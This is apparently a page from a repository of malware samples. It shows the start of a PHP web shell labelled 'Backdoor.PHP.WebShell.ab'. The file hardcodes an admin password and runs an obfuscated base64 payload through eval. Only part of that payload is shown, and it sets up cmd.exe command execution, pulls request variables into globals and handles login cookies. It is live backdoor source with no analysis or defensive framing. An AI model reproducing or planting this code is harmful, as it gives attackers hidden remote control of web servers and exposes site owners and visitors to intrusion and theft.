MalwareSourceCode/PHP/Backdoor.PHP.WebShell.ab

3 lines
82 KiB
Plaintext
Raw Normal View History

2020-10-10 03:05:41 +00:00
<?php
$admin['pass'] = "admin"; //<2F>޸<EFBFBD><DEB8><EFBFBD><EFBFBD><EFBFBD>
eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDcpOw0Kb2Jfc3RhcnQoKTsNCiRtdGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7DQokc3RhcnR0aW1lID0gJG10aW1lWzFdICsgJG10aW1lWzBdOw0KDQokYWRtaW5bJ2NoZWNrJ10gPSAiMSI7DQoNCiRyZXRpbWUgPSAieWVzIjsNCg0KJGNtZCA9ICJjbWQuZXhlIjsNCg0KJG9ub2ZmID0gKGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKSA/IGluaV9nZXQoJ3JlZ2lzdGVyX2dsb2JhbHMnKSA6IGdldF9jZmdfdmFyKCdyZWdpc3Rlcl9nbG9iYWxzJyk7DQoNCmlmICgkb25vZmYgIT0gMSkgew0KCUBleHRyYWN0KCRfUE9TVCwgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkX0dFVCwgRVhUUl9TS0lQKTsNCn0NCg0KJHNlbGYgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXTsNCiRkaXNfZnVuYyA9IGdldF9jZmdfdmFyKCJkaXNhYmxlX2Z1bmN0aW9ucyIpOw0KDQoNCmlmKCRhZG1pblsnY2hlY2snXSA9PSAiMSIpIHsNCglpZiAoJF9HRVRbJ2FjdGlvbiddID09ICJsb2dvdXQiKSB7DQoJCXNldGNvb2tpZSAoImFkbWlucGFzcyIsICIiKTsNCgkJZWNobyAiPG1ldGEgaHR0cC1lcXVpdj1cInJlZnJlc2hcIiBjb250ZW50PVwiMDtVUkw9Ii4kc2VsZi4iXCI+IjsNCgkJZXhpdDsNCgl9DQoNCglpZiAoJF9QT1NUWydkbyddID09ICdsb2dpbicpIHsNCgkJJHRoZXBhc3M9dH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